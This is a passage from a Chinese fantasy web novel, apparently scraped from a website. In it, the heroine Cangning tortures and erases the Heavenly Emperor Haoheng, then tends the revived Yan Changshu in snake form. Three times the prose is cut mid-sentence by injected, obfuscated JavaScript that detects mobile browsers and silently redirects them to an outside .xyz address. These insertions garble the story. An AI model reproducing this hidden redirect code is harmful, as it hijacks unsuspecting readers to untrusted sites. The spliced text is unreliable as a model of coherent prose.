“你已学会凤凰秘法,能随心所欲使用三昧真火,又向晏长书习得术法……现下,想必已掌握天地之灵气。”西王母沉吟,“昊衡居于九重天,却气息不衡,是阴非阳,主以太阴之术,冰霜之法。若说三昧真火还不够伤他分毫,可你如今融会贯通,许能催发阴阳之火。 “太阳真火至阳至刚,从大日金乌中脱生,乃万火本源,太阴真火至阴至纯,从月亮中孕育而生,能冻结天地,伤及元神。” 苍宁:“……曾经,娘娘说我不得仙家之妙,乃榔槺蠢物,如今为何不阻止我?” 西王母静看她良久,悲悯道:“我后悔过,不曾阻止你的母亲嫁给昊衡,而是听从了她的意愿。所以我曾想阻止你淌入‘情’之一字的浑水中。可倘若真要阻止一切,就不该让你出生。 “你从你母亲的身躯里来,不是为了成为你的母亲。你不必替过往之人后悔,亦不用替你的母亲选择什么,原谅什么。凝安已经受限于自身,做出了她所能够做的最好的选择。你同样有选择的权利。苍宁,三危山始终是你的家园。” “力量,要为己所用。”西王母低声道,“可你也不要忘记,你凭借好风飞起来时,天空之下,还有同样努力存活的万物苍生。” - 苍宁上回那么热的时候,还是在过去与姬烨学习凤凰秘法时。 她唤出自己的宝贝斩星刀,看见这枚缺了一些宝石逐渐在时间中变得朴素的刀,将脸贴在刀身之上,听宝刀的阵阵刀鸣。 她缓缓睡过去,不知为什么,她清楚地意识到她没有在做梦,而是有人在和她讲话。 像晏长书的声音。 可是他的身影浅淡,蒙在一层淡淡的流云之后,她看不清他的面容。 苍宁撅着唇埋怨他,和他说白日里的那封信,她看过了,什么都没有。一会儿又翘起尾巴得意自己已经融会贯通,学会了时空之术,压根儿不需要和他合契,除了时空之术,还有阴阳之火呢。晏长书,我现在可厉害了,哼哼,特别厉害! 他唇边含着浅笑,真有那么厉害? 苍宁叉腰道,那是自然。 她穿过几道流云,想要牵住他的衣袖,可是不管苍宁怎么跑,怎么追,他始终躲在云层之后。 她追不上他。 那抹淡淡的身影恍若成为了流云的一部分,没有实体。 他声音平静,柔声对她说:宁宁,去招摇山下,将五色石放在阵眼中吧。 苍宁不解道,你在招摇山?你去招摇山做什么? 他不回答,只是一遍又一遍地重复,将那句话送入她的耳中。醒来后,苍宁摸到自己面颊上有一滴眼泪,却不知是谁的泪水。 她分明没有想哭,也没有难过。 苍宁将斩星刀收起来,告别了三危山,急忙赶到招摇山去,久未来过,招摇山外笼罩着一层淡金色的结界,她一眼就看出是晏长书的手笔。从结界外刊,招摇山四季如春,和普通的山并没有什么区别。 但她轻松迈入结界后,果然看见断壁残垣的招摇山下,用淋淋鲜血画好了遍布十里的巨大阵法。 阵法中的字迹和信件上一样歪歪扭扭,缓缓流动,像是从心口刚刚挤出来,散发着灼灼热意。 苍宁满心疑惑地将五色石拿出来,放在阵眼之中,忽而,淡金色的结界中明光散闪,五色石吸纳着一丝一丝的气息,汇聚出两个模模糊糊的影子。 一个人身,额前三枚火红羽印。 另一个是鸟形,只见淡淡的青色身影。 苍宁心如擂鼓,认出五色石正在坚不可摧的结界中修复着他们的魄体,心头滋味百转千回,不由落下泪来。 既然花神岳枋可以被治愈到完好如初,那么姬烨和凝安同样可以。原来晏长书早就想好了。 这五十年里,在她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15030064|162303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忙着回到过去和他相遇的时候,他早就把她担心的、疑虑的全都考虑好了。 只是晏长书呢……他做了这些之后,到底去了哪里? 苍宁没有隐去身形,而是前去西天寻找晏长书。 她回到晏长书的住处,发现里面的东西都已经清空,自己留在那里的东西被整整齐齐叠放在桃树下,灵尘打扫着桃花花瓣,告诉她晏长书早已离开,桃枝已经长成了桃树,前几日幻化出了一个小小魄体,也许很快就要化成人形了。 苍宁将自己的东西都搬到招摇山中,连带着把桃树都挖了过来。 她在招摇山的结界外又加了一层结界,防止凡人迷失,神界损毁。她在此修炼调理,体内力量恍若取之无竭尽。 她仍梦见晏长书。 她能感受到晏长书的气息,可她仍旧抓不住他。 他的影子越来越淡,说话声音越来越浅……好像要就此消失。 就在二十一日后,苍宁听见天边有滚雷声。她当即转移到其他山头,天兵天将缓缓而来,意外地恭敬: “大人,陛下有请。” 请? 苍宁心头嗤笑。 她倒要去看看昊衡还有什么手段。 他们将她的手锁上缚神索,将她带回神界。谁知大殿不登,二殿不迈,竟是又径直将她送到了九重天的寝殿中。 有几名小仙侍给她宽衣,她谢绝沐浴,站在房檐上,遥看天际。 在这个位置的时候,阿娘在看什么,在想什么呢? 苍宁无可避免地想到时空中看见的一切,她想到痛苦的生,快活的死,可又想到飞翔的愉悦,凝安一跃而下的不犹豫。 那个时候,阿娘本获得了自由,想要去三危山见她的,不是吗? “凝安不爱我,也不爱你,”昊衡忽然出现,他负手而立,满脸嘲弄道,“其实,她也没有多爱姬烨。这么多年过去,我想明白了,阿凝是个骗子。” 苍宁低下头,垂睨着他。 “我这样像我阿娘么?” 昊衡眸心微动:“像。” 苍宁淡淡一笑:“你将我囚起来,是觉得我同我娘一样?” 昊衡缓道:“你既能爱晏长书,为何不能爱我。我和他是一样的。” 苍宁凝眸。 昊衡又道:“如今的缚神索,你无法挣开。” 苍宁轻飘飘道:“是吗。” 昊衡将缚神索一寸一寸收紧,苍宁如凝安一样,从空中坠落到他的怀中。 他看着她的眼睛,低声道:“晏长书已经死了,你可以爱我。” 苍宁抬头,微微一笑:“我不知你在说什么。要是不会说话,可以选择闭嘴。” 昊衡闷声冷笑,双手抚过她的面容,叹道:“苍宁,你和凝安一样美,只要你不开口说话……” 说时迟那时快,昊衡双指没入她的咽喉,想要将她的声带割断,可是苍宁快他一步,已经将斩星刀唤出,抵在他的脖颈之上! 苍宁眸中卍字闪动,时空瞬间变转,犹如幻梦。苍宁见他冰霜面色,饶有兴致道: “可惜,我和我娘不一样。我很有些折磨人的手段。” 苍宁道:“昊衡,来玩玩吧。我为你准备好了葬礼,保你死得不痛快。” 71. 万象更新·三 昊衡再度睁开眼时,被绑缚于缚神索上。四周漆黑无垠,遥遥可见模糊不清的星影闪烁。 苍宁不声不响地磨着斩星刀,像是极有耐心的刽子手。她微微侧头,对昊衡冷道:“你醒了。” 昊衡眯着眼睛辨清楚眼前的人影。 这是幻术,抑或是真实? 缚神索是他亲手所制,一旦套上,没有神明可以挣脱。可如今,他扭动身体,长长的金色锁链从他锁骨中穿过,来回钉穿脊骨,像错乱的针脚,带出细密的疼痛。 他想说话,却咳出一口血,紫红色。 苍宁见状,啧声道:“我还以为,像您这样了不起的,置身于万物之上的存在,会经得起考验。原来,饶是天帝陛下也受不住在时空和幻术中一点一点被撕碎。” “哼……考验?” “凌迟的考验。”苍宁虽笑着,眼中却冰冷,“我爹和我娘受过的痛苦,我体验过的痛苦,凡人的痛苦,你宠妾的痛苦……这么多痛苦,我都想让你一一品尝呢,天帝陛下。” 当时,苍宁扭转时空,将时间回溯,抓住时间的空隙,将缚神索套在了昊衡身上。他无法挣脱,不仅是因为缚神索,更因为此时的苍宁不可同往日而语。 她只稍凝神,昊衡便觉有一种喘不过气的低压。 苍宁不是凝安,也不是姬烨,她只是她自己:有恩必报,睚眦必报。 为了防止天兵天将和其他众神干扰,苍宁将昊衡引入了幻术之中,为他量身打造了一个领域。一如当年她在卍象图中那片漆黑之地。 苍宁可惜的是,昊衡没有翅膀。如果有的话,她就可以一片一片将他的羽毛拔下来,要他体验钻心之痛,再将他的翅膀折断,可惜,太可惜了,所以苍宁用缚神索穿透了他的锁骨和脊骨。 他似乎是会痛的,但是苍宁穿透的不仅是他的身体,更是他身为天帝的骄傲。 可是这才刚开始…… 时间、空间,就像是随手可以摆放的木砖,只要苍宁搭好,便可以组成新的场景。她令昊衡坠入冰冷的北海,在鲨鱼将他吞食之时,瞬间叫他跌落在太阳真火中,直至叫他烤焦一层皮,漆黑地掉下来,露出里面鲜红的血肉,又叫他进入极寒之地,被太阴真火冻结。 可脱了一层皮肉,这怎么够? 在永无止境的幻术中,苍宁将他捆绑在高天的神座上,叫幻化的鬼魅一片一片切下他的肉,将肠子拉出来,打成结,再塞回去。 至于他那张脸……鬼魅们同样用小刀一点点划拉成烂肉,使他满脸血痕,面目全非。 “够了。” “够吗?”苍宁慢吞吞磨着斩星刀,将幻术重复了九九八十一次,叫昊衡一遍一遍重复着割肉剜骨之痛。 她的刀够锋利了。 可是昊衡还不够痛。 昊衡瞧着她,轻轻哼笑两声:“……你以为这种程度的幻术就足以叫我崩溃?” 是啊,无情之人,到底有什么痛苦呢?只有足够无情,才可以漠视旁人的痛苦。昊衡说他和晏长书相似,想必是基于这一点吧,可是昊衡却完全理解错了。 晏长书的旁观,只不过是自身痛苦之后的保护色。晏长书从未以此漠视生命。昊衡不是。凝安化作甘霖抚平大地时,昊衡的痛苦,是屠杀寝殿所有的小仙侍,而帮助凝安离开的那个小仙侍,则得到了魂飞魄散的待遇。 尔后,昊衡将寝殿修建成墓房的模样,以此永远纪念她。 昊衡跪在他和凝安的床榻边,他哭,他忏悔,似乎因为他身居高位,又年轻有野心,他只需要一点点悔意,所有人都会把过去淡化、美化,将过去的恐惧织成苍白的花圈,以此织成虚假的回忆。 而那些不明所以的看客,抑或是惯于热闹的戏客,都会为他这台声嘶力竭的戏目鼓掌。 啊,从前陛下对凝安娘娘多好啊。 陛下是那样爱着娘娘。为她取来七彩霞衣,为她取来日月精华,让她得到从未有过的荣宠。 荣宠。 是啊,他不要其他女人的孩子,只希望她诞下他们的孩子……他明明给了凝安所有的一切,可这个女人仍旧骗了他,背叛了他,生下了姬烨的孩子。 苍宁本该是他的孩子。现在的苍宁,不过是一个错误。如果他无法把这个错误毁掉,那么,他必须把这个错误纠正成正确的位置。 让苍宁成为凝安。 这样凝安就可以继续活下去…… 这里就不再是属于他一个人的坟墓。 昊衡缓慢地笑起来,面上的烂肉颤动着,像是一条条拼凑起来的碎块。 “你知不知道你现在是什么模样?” 苍宁笑着,空间瞬间转变,昊衡从漆黑无垠的地方坠落,像掉线的木偶般摔在草地上,无力地弹动。 一个素色的身影在他面前…… 昊衡忽然睁大了眼睛。 那是凝安,她一袭黑发曳地,背影和从前一样宁静美好。她缓缓走近,昊衡居然萌生出强烈的羞耻和害怕,将脸藏在泥土之下。可“凝安”抓住了他凝着血污的头发。 昊衡被迫睁眼,看见的不是凝安的脸,而是自己那张满是烂肉和碎块的面容。 不—— 他的心如坠冰窟,为这一刻害怕了,动摇了。 这不是他!他在凝安面前不能是这样的…… 昊衡拼尽全力,手腕上的缚神索忽然在冰霜中断裂,成为了粉末。昊衡不觉疼痛地徒手将缚神索从血肉中掏出来,锁骨和背后掉出大量血块,他撕碎了幻术,二人快速落于海平面上,再立于空中。 之间昊衡全身从下至上快速凝结出一层冰霜,在霜化之时,他完好无损的面容如霜寒冷,身上更无半点伤痕。 昊衡当即掐住苍宁的脖颈,要将她撕得粉碎! “你这该死的……”昊衡青筋暴露,目眦尽裂,“我原本想要给你机会,饶你不死!你是这样,阿凝也是这样——你们都要逃,都要骗我!” “饶我?” 昊衡手中的苍宁忽然消失,她的声音从昊衡身后传来,平稳而镇定。 苍宁勾起笑:“昊衡,你杀不了我。” 昊衡冷道:“你以为时空之术当真没有任何反噬?时空错乱必然导致生灵涂炭——” “真稀奇,你现在在乎起苍生了?” 苍宁泠泠目光中冷光闪过,举起斩星刀,昊衡抬手,暴风雪从天而落,遮天蔽日,苍宁唤出太阳真火一举燃尽,天空中全是冰晶闪烁。 忽然间,昊衡不见了。漫天的冰晶倏尔拉长,变作无处不在的冰针要扎破苍宁的躯体!苍宁眸中卍字闪动,巨大的淡金色结界瞬间激发,将所有冰针弹落在水面——海水翻腾,地平线摇摇晃晃,最近的几座仙山受到波动,从天上陷落,填入了人界的峡谷。 沧海桑田只需一瞬间。 苍宁横刀劈砍,巨大的刀痕飞过去,昊衡将身一扭,刀痕落到海面上,激起万层浪,鲸鱼从空中跳起,飞入云层,海和天似乎渐渐没了平衡,逐渐倒转。 苍宁还在追,还在砍—— 昊衡就像云中的闪电,无法触碰,可人界的山全被劈开,海平线倾斜着,海水倒灌,从天而降,空中零散的石块、鱼群、花朵……全都以怪异的方式停留在怪异的位置。 风声猎猎,昊衡眼中疯意尽显,灼灼逼人,笑道:“怪道晏长书翻天入海都找不到,说他死了,还真是被你杀了!苍宁,你和你母亲不一样,她为了这个世界付出了一切,连性命都不要,你和我一样,都是想要一个答案,一个结果!一个本该正确的结果!这就是正道!” 苍宁再一刀—— 再一刀。 再一刀! 昊衡刀刀回敬,云弓上,那支巨大的霜寒之矢终于射出,滑过天上海水,直逼苍宁之处。刺眼的白光闪过,淡金色的结界将苍宁团团围住,挡住了这一击。苍宁面色稍白,直直往前,拨开被巨大威力炸得天崩地裂的山石,挥刀再去! 他哈哈大笑:“承认吧,苍宁!我们是一类人,你若是和我在一起,我们可以一起创造一个崭新的世界!过去的已经过去了,我们把它忘记,来,来吧,归顺于我吧!” 忽然间,天地不再运转。 所有色彩骤然抽离,方才的世界被折起来,在昊衡眼前形成一个极小的纸团,忽然掉落在地上。 四周漆黑无垠,遥遥可见模糊不清的星影闪烁。 昊衡的笑蓦然僵在喉咙中,他瞪大双眼,发觉自己仍旧被绑缚于缚神索上。 苍宁不声不响地举着斩星刀,像是极有耐心的刽子手。 阴阳之火在地上蔓延,吞噬了缚神索,顺着金色链条缓缓吞吃。 “你一直在幻术中,从未出去。”苍宁平静地,将斩星刀置于他的胸膛上。 昊衡摇头:“这不可能……”方才的肆意只是幻觉。缚神索仍旧穿透他的锁骨和脊骨,鲜血汨汨流动。 “昊衡,你低估了这份力量。”苍宁道,“现在,你或许终于可以理解痛苦的感受。” “什么?哈哈哈哈哈哈哈哈你不也是靠着杀了晏长书得到的力量,”昊衡一向冰冷的面容变得可憎,像是地狱中的恶鬼,他狠狠啐了苍宁一口,语无伦次道,“他应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15030065|162303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 该和我一样的,他本来和我是一样的!凝安,阿凝!都是她的错,如果她不离开我,如果她爱我,根本不会发生后面那些事,都怪她太固执!苍宁,你不过仗着晏长书的力量,他该死,他该死!得到爱的人都该死!” 霎时间,斩星刀穿透了昊衡的心脏—— “苍宁!!” 昊衡咬牙,狼狈不堪道,“我是天帝!你不可能杀我,不可能——!!” 在这个时候,苍宁才初初施展时空之术。 她刀下刺穿的,不仅是此时此刻的昊衡。她眼前出现了曾与凝安相遇的稚嫩的昊衡,初初得知天地术法的昊衡,愿意为苍生付出的昊衡,登上天帝之位的昊衡,折磨他人的昊衡…… 斩星刀将各个时间段中的昊衡皆在此刻杀去,从此之后,无论何时、何地,这个世界将再无昊衡存在的痕迹。 这是苍宁给他的,最彻底的葬礼。 永不存在。 惨烈的喊叫声戛然而止,阴阳真火吞没了昊衡的身躯,只剩下昊衡竭力睁大的眼睛。 “苍……宁……你得不到……这是命……” 苍宁握紧刀柄,扬起一抹笑:“晏长书不会死。” 她继续道:“我爹,我娘,他们都不会死。凝安会和姬烨在一起,他们会回到之前的人生。” “可是你,会就此消散。带着你的疑惑和遗憾永远死去。” 昊衡双眸一睁,意欲凝聚起霜寒,可惜阴阳真火瞬间吞噬了他的眼珠,将他的气息封存。 昊衡真正死去了,什么都没留下。天气精气而生者,复回归于天地。 黑暗中,火焰还在燃烧,苍宁终于泄力,将斩星刀撑于胸前,吐出一口血。 她的仇终于报了,可不知为什么,却觉得刚刚开始。 是啊,属于她的人生原本不该在鬼界度过,她原本的人生,不应该是这样的……可是,一路走来,她已经遇到了足够多的人,见过了未曾想过的风景,遇见了昊衡最疑惑的,也是最遗憾的爱。 苍宁摸到魄丹处,那里似乎残留着一些晏长书的气息。她想起昊衡口中的命,来不及擦拭身上的鲜血,就这样去到了天府宫。 昊衡死了,她是那个弑神之人。 围绕在天府宫旁的上神们个个将她骂的狗血淋头,可无一神敢去招惹苍宁。他们全都感受到了苍宁身上无穷无尽的力量。 没有人赞同她,但总有人赞同力量。 苍宁无视众神,自顾自找命册。第三排、第四排……她满脸鲜血,抓住一个小仙侍问,小仙侍替她找来了苍宁和晏长书的命册,原来有啊,真的都有…… 她翻开自己的命册,扉页写着一个大大的“补”字。里面详细记录了自己的出生年月,经历的事情,全都一一吻合。很快,命册上浮现了新的墨迹:弑天帝昊衡。 苍宁勾唇冷笑,翻开晏长书的命册,却是一片空白。 一个字都没有。 苍宁揪住那小仙侍问,那小仙侍吓得颤巍巍道:“大人,尊者……呃,晏大人应当不在了,所以查探不到……” “什么叫不在了?” 小仙侍小心翼翼道:“死,呃,崩了……” 苍宁面无表情地看着他,像个女鬼。 “你在说谎。”苍宁道,“我能感受到他的气息。” “大、大人!啊不能烧,这些不能烧啊!!” 太阳真火轰得将天府宫通天命册尽数燃烧,众神连忙救火,可阴阳真火哪能灭掉?众神勒令苍宁再不能入神界,又无法制衡她,只好派人去请西王母。 苍宁背后火光四起,黑发飘散,勾起了一个冰冷的笑:“各位神仙放心,我苍宁本就不再是上神,何来再入神界一说?” 她眸中射出尖锐的冷光,红唇轻吐:“我不需要这榔槺神位,日后,我走我的苍宁道!” 西王母赶到之时,苍宁已然消失。神界大乱中,唯有西王母可以坐镇。众神皆传,苍宁杀了晏长书,夺去了晏长书的力量,又杀了天帝昊衡。 众神哀叫道:“娘娘,苍宁可怎么办才好?这样的威胁,必然得除去才安心……” 西王母同样冷笑道:“把你除去,倒是也让人安心了。” 于此种种,有关苍宁之事敢怒不敢言。还是西王母将昊衡做的丑事公之于众,才停下了风声。 时间一转过去二百年,西王母废除了天帝之位,与几位老祖共同治理神界,就在此时,消失了二百年的苍宁,终于传来了消息。 苍宁失智,寻到了一条凡蛇。 她指着那条凡蛇,说它是晏长书。 72. 饲养小狗蛇·一 招摇山中,春意盎然。 后山处,一个约莫十六七岁的少年郎正趴在井边打水,沾湿了粉色的衣裳。春风吹拂,桃树花瓣似云烟织霞,落英缤纷。 招摇山西南高、北东低,旧日的断壁残垣早已不见,不远处的山谷里,悬崖峭壁上,长廊萦绕,雕梁画栋,高处的三座大殿如同凭空而立,非人力可造,可谓是鬼斧神工。 长廊上有几个少年少女围着一条一米长的小蛇在嬉戏打闹,看样子不算友善。 林芝从长廊方向掠过,立在桃树下,桃枝连忙笑道:“林芝姐姐,您来了!” 林芝略略颔首,微笑道:“方才见悬崖长廊上几只鸟族围着那凡蛇打闹,大人……知晓吗?” 桃枝有些意外:“那蛇又溜出去了?” 林芝颔首:“如今大人开创飞羽宗,鸟族在世间又有一席之地,可莫让这些徒儿生了间隙。” 末了,林芝问道:“大人还在闭关?快到出关的时间了吧。” 桃枝放下水桶:“关着呢,关着呢。按理说,蛇也应该在里头的……” 苍宁自弑天帝昊衡后,世间难有敌手。她远离神界,长居于招摇山,创立飞羽宗,逍遥快活。可世人都说苍宁失了智。 桃枝醒来时,是八十六年前的一个月夜。 当时苍宁正在催吐,手指扣在舌根,努力想吐点什么出来,可是什么都没有吐出来。 桃枝吓了一跳,久远的回忆涌上心头,他还来不及跪谢苍宁大恩,嘴比脑子更快道:“前辈!您真的怀孕了!” 苍宁阴沉沉抬起头,没给他好脸色,隔空踹了他一脚。 “再说我怀孕我便把你烧干净了喂蛇。” 没错,后来,苍宁不知从哪里找来了一条凡蛇,黑漆漆,很是吓人。苍宁说这是晏长书,与这凡蛇同吃同睡,闭关也带着。桃枝也觉得苍宁失了智。 毕竟后来的事,桃枝都打听清楚了。 晏长书可是创世神的后裔,又当过尊者,力量无穷无尽,怎么可能是这条没有任何灵力的粗笨蠢蛇? 果不其然,再一晃二十年过去,这条蛇到现在都没有任何灵气,无法化为人形,只能沦为宗内鸟族欺负的对象。桃枝阻止过许多回,可没有苍宁出面亲口斥责,这些骄傲的鸟族无论如何都不相信这条本蛇是师傅的心头好。 分明蠢笨如猪,怎能入得了师傅的眼! 可苍宁身在闭关,这条蛇又不听话,格外倔强,总是屡屡逃出来,真叫桃枝伤脑筋。 当年血阵被结界层层包裹,修以屋宇遮蔽,趁着林芝去探望姬烨和凝安的工夫,桃枝赶忙腾云到悬崖长廊处。 鸟族的少年少女看上去十四五岁大,个个灵气逼人,漂亮可爱,显得中间那条被啄了鳞的小蛇更加蠢笨可怜。 “欸……大师兄。” 现在倒是一个个会喊人,会来事得很。可是桃枝已经听见了他们骂小蛇的说辞: 蠢得要死还有脸待在飞羽宗,真是败坏师傅名声。 一点能力都没有,还敢冒充灵蛇,赶紧回到你的阴潮老窝去当野蛇吧! 一天天待在青鸾殿,吸到了几成神力?真是不要脸! 桃枝把地上那团小蛇抱起来,发现蛇身出了许多血,不由痛心疾首,只恨自己没注意,马上就要喜提苍宁一顿骂。 “谁让你们出来做这种事的?” 为首的小郎君唤作明希,振振有词:“是他逃出来的,我们要带他回去,他就要咬人!我们是不得已……不得已才自保的……” 另一个唤作朱翘的小娘子点头:“是啊大师兄,本来我们这就是飞羽宗,不收这样笨蛇,况且,这条蛇如此顽固性烈,何不放归山林?” 放归山林?好一个放归山林啊。 前辈会把我们都放归山林! 桃枝板起脸来,呵斥道:“他全无灵力,如何能伤你们?修行不努力,借口一大堆,都去领罚,不许吃晚饭!” “大师兄!” 桃枝横眉道:“还不快去?” 朱翘剜了小蛇一眼,噘着嘴飞走了。余下的几名鸟族也跟着走了。 小黑蛇把脑袋藏在蛇身下,瞅着那些小鸟都离开了,这才努力从桃枝身上爬下来,沿着长廊最边缘继续往外爬。 小黑蛇很努力,很努力地往外面爬,莽着一股子劲儿,像是倔强小狗。蛇鳞翻起数处,随着蛇身爬动,地上留下丝丝血迹。很刺眼。 桃枝瞠目结舌,我的西王母娘娘啊,这蛇还真想要离家出走啊!这可是苍宁的心肝宝贝……桃枝作为飞羽宗座下第一大狗腿,怎么可能会让小黑蛇在苍宁无知无觉的时候溜走?况且,掐指一算,苍宁也到了该出关的时间了。 他手一收,就将小黑蛇捞到肩头上。 还没等二人抵达苍宁闭关的青鸾殿,肩头上的小黑蛇就变成了约莫十五岁的郎君,把桃枝吓了一跳。 这蛇……不是……这郎君可不就是晏长书在卍象图中的少年模样! 只见晏长书面无表情,白净的脸上全是擦伤,透着丝丝血红,从桃枝身上跳下来,要往山外跑,桃枝勾住他的衣袖不让他逃,猝不及防将晏长书的衣袖扒烂了。 “郎君!” 裂帛之声响起,晏长书的臂膀和胸膛处的布料被撕开,露出了少年青涩的薄肌。好看、漂亮,极白。 晏长书摔倒在地,慌忙捂住自己的身子。他面上仍是呆呆的,缩着脖子想要攻击桃枝,完全是没有半点威慑力,却努力把自己变得勇猛的小蛇。 “郎君,郎君我是桃枝,”桃枝蹲下身子问,“你还记得我吗?你……你真的是晏长书吗?” 晏长书眨眨眼,听懂了“晏长书”三个字,缓缓点头。 桃枝总觉得晏长书有点呆头呆脑的,好像有些迟钝? “郎君,我带你回青鸾殿吧。” “青鸾殿,不。”晏长书垂下头,“别人,看,不能。” 这在说人话吗?桃枝完全听不懂。 桃枝搞不清个中缘由,将晏长书带回青鸾殿时,正好碰见林芝,林芝一眼就瞧出了这个晏长书的肉身中并无魄丹。桃枝今日不知吃了多少惊,仍是惊讶。 “林芝姐姐,没了魄丹怎么能化为人形?” 林芝想起些什么,蹙眉道:“想来是大人闭关时输送的力量。魄丹不在,难以为继啊。” 晏长书还捂着自己露出的肩膀,看上去格外委屈,桃枝也没办法,只好将他放回青鸾殿中,打回转继续去训欺负人的鸟族弟子了。 - 是夜,一条小黑蛇正在青鸾殿中缓缓爬行,找不到出去的办法。 青鸾殿中,帘幔遮掩的床榻上,苍宁正睡在被褥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15032312|162303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之中。 小黑蛇敏感地察觉到苍宁的呼吸有变,爬到床榻下面,幻化成了人形,只是身上的伤口不曾痊愈,衣裳也没有补好,大喇喇地露出了肩膀,非常难堪地缩着,试图挡住自己。 不知过去了多久,等到香炉中的香明明灭灭终于归于沉寂,苍宁睁开眼,醒了过来。 她看向头顶的绣着金丝的缠枝莲祥云纹床帐,意识逐渐回拢。 帘幔外,似乎跪着一个身影。 她心头微动,纤纤玉指撩开帘幔,露出半张清媚容颜,天香颜色。 “跪在这里做什么?”苍宁平静道。 晏长书低低垂头,未绾的黑发如墨流淌,遮住了脸上的伤痕。他低声回应:“等,宁宁。” 苍宁从被褥中坐起来,帘幔半遮不遮,很容易看出来她未着一物,姣好的身姿更让跪着的小蛇心如擂鼓。 苍宁摸到胸口中有异动,知晓自己闭关多年,终于将当日晏长书信中的仙丹催了出来。 她寻了晏长书多年,终于搞清楚,信中那枚仙丹不是仙丹,混进凉茶里的不是什么怪东西,而是晏长书在受尽地狱折磨,布置法阵后的魂归原形的魄丹。 晏长书没有与她合契,而是甘愿让自己成为她力量的一部分,用他的所有来助她渡过难关。这就是他所说的“永远陪在她身边”。 可这并不是苍宁想要的陪伴。 回到招摇山后,苍宁无论如何都吐不出晏长书的魄丹,只好将他的力量渐渐抽出来。 这些力量幻化成了一条小黑蛇。这是晏长书的肉身。她不断用力量供着小黑蛇长大,先保证他肉身不灭。 可是没有魄丹,晏长书便像一条普通山野凡蛇般,始终看上去呆呆的,理解事物也变得迟缓。 为了保证魄丹可以顺利从她体中剥离,她才进行了一场闭关。 初时,苍宁没睡太沉,还揪着慌张失措的出逃小黑蛇回来。现在苍宁醒来一看,这家伙何止出逃了一次,脸上全是新鲜伤口,想来是刚被桃枝抓回来! 苍宁冷脸道:“为什么要逃走?” 晏长书揪着破损的衣袖,黑眸中忽然凝结着复杂的晦暗:“师傅,他们……”他咬着唇,好不可怜道,“不想,师傅,耽误。”他整理了一遍语言,好不容易才连成通顺的话,“我不配当师傅的徒儿……” 原来她闭关的时候,招摇山内都在讨论这些不入流的闲话。 苍宁心下冒火,看着晏长书的可怜样,好气又好笑道:“谁要你当我的徒儿了。” 晏长书瞳孔一缩,像是多年担心的恐惧终于成为了事实,一向面无表情的脸上出现了短暂的崩溃。 “会走。我。”他黑睫不断抖动着,在冷白的脸颊上散开浅浅的阴影,跪着不断往后退。 苍宁制止道:“等等,谁允许你走。” 晏长书抬头,略有迟滞的目光包裹着小心翼翼的试探,有丝欣喜,又有丝自怯,可怜巴巴地等待苍宁的命令。 只见掩盖的帘幔处,一根手指伸出来,朝他微微勾了两下,示意他过去。 苍宁的面容隐在帘幔后方,迷人而充满诱惑。她哼笑两声,说道:“你是我的童养夫,和别人不一样,知道了吗?” 童养夫……?那是什么意思?小蛇没听懂。 苍宁又道:“晏长书,上来亲我。” 73. 饲养小狗蛇·二 小蛇不明白童养夫什么意思,也不清楚为什么童养夫可以亲宁宁。小蛇从醒过来看见的第一个人,就是苍宁。所以小蛇很好骗,也很容易被糊弄。 对于小蛇来说,苍宁是最好的人。他不知道该怎么说,但是苍宁就像是雪,是晶莹的,也像花,很漂亮,又像风,暖暖的,有的时候还像是红果子,想让他尝尝是什么味道。待在苍宁身边的时候,心总是跳得很快,他怀疑自己是不是生病了。 当他好奇地从青鸾殿中出来时,终于看见了殿外的蓝天白云,苍宁和他说,不可以乱跑,小狗蛇的第一条守则是不可以离开苍宁身边。他没有想离开苍宁,他只是想看看他和苍宁到底在哪里?安不安全呢?万一有其他人要伤害苍宁怎么办? 苍宁笑他,可笑容看上去有点苦味。她说,我很厉害,不会有人伤害我。 小蛇摇摇尾巴,缠在她手臂上,细细嗅着她的气息。 苍宁用手指蹭了蹭他的脸,晏长书,叫我宁宁。 晏长书乖乖道,宁宁。 这一次,她的笑容看上去是甜甜的。她说,你要乖乖待在这里,等我醒来,知道吗? 小蛇很乖,很乖地点头。 苍宁睡着之后,他还是想去打探一下。虽然蛇蛇会蜕皮,会睡很长时间,可是宁宁是鸟,鸟也会睡这么久吗?小蛇好担心。 当他慢吞吞爬出来,有一个奇怪的粉色衣裳的人把他捉了回去。坏家伙吗? 后来,小蛇又爬出来,大家都打他,骂他,说他蠢笨,说他不会化为人形,不会术法,不配待在师傅身边,用术法捉弄他,刮伤了他的鳞。 师傅?师傅是谁呀?他想了很久才想明白,师傅就是苍宁。 